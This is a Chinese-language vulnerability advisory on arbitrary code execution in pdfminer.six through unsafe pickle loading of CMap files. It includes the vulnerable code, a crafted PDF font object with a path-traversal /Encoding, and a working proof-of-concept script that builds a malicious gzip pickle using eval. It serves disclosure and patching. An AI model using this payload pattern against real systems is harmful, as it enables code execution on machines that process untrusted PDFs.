pdfminer.six任意代码执行漏洞分析
漏洞概述
pdfminer.six在处理特制PDF文件时会执行恶意pickle文件中的任意代码。该漏洞存在于CMapDB._load_data函数中,该函数使用pickle.loads()反序列化pickle文件。
漏洞详情
易受攻击的代码
1
2
3
4
5
6
7
8
|
# pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # 清理不充分
filename = "%s.pickle.gz" % name
# ... 路径构建 ...
path = os.path.join(directory, filename) # 如果filename是绝对路径,directory将被忽略
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # 不安全的反序列化
|
攻击流程
攻击者可以:
- 创建包含类似
/maliciousCMap引用的恶意PDF
- 在
/malicious.pickle.gz位置放置恶意pickle文件
- 当PDF被处理时,pdfminer加载并反序列化恶意pickle
- pickle反序列化可以执行任意Python代码
概念验证
恶意PDF
创建包含恶意CMAP条目的PDF:
1
2
3
4
5
6
7
8
9
|
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
|
其中/Encoding指向/pdfs/malicious。Pdfminer会在此文件名后附加.pickle.gz扩展名。
恶意Pickle
创建执行代码的恶意压缩pickle文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
class EvilPayload:
def __reduce__(self):
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
|
测试
安装pdfminer.six并运行:
1
|
pdf2txt.py malicious.pdf
|
输出应为:
1
|
Malicious code executed!
|
影响分析
如果pdfminer.six处理指向攻击者控制的压缩pickle文件的恶意PDF,结果是在受害者系统上执行任意代码。攻击者可以运行他们选择的Python代码,权限与运行pdfminer.six的进程相同。
不同操作系统的利用难度
Linux、MacOS - 较难利用
在类Linux系统上,只能解析文件系统上的文件。攻击者需要提供恶意PDF进行处理,并且恶意pickle文件需要存在于目标系统上攻击者已知的位置。
Windows - 较易利用
Windows路径可以指定网络位置(如WebDAV、SMB)。这意味着攻击者可以远程托管恶意pickle,并在PDF中指定其路径。
技术细节
漏洞的核心在于:
- 文件名清理不充分:
name.replace("\0", "")
- 路径构造可能被绕过
- 直接使用
pickle.loads()进行不安全反序列化
修复方案
受影响版本:< 20251107
已修复版本:20251107
建议用户立即升级到最新版本以确保系统安全。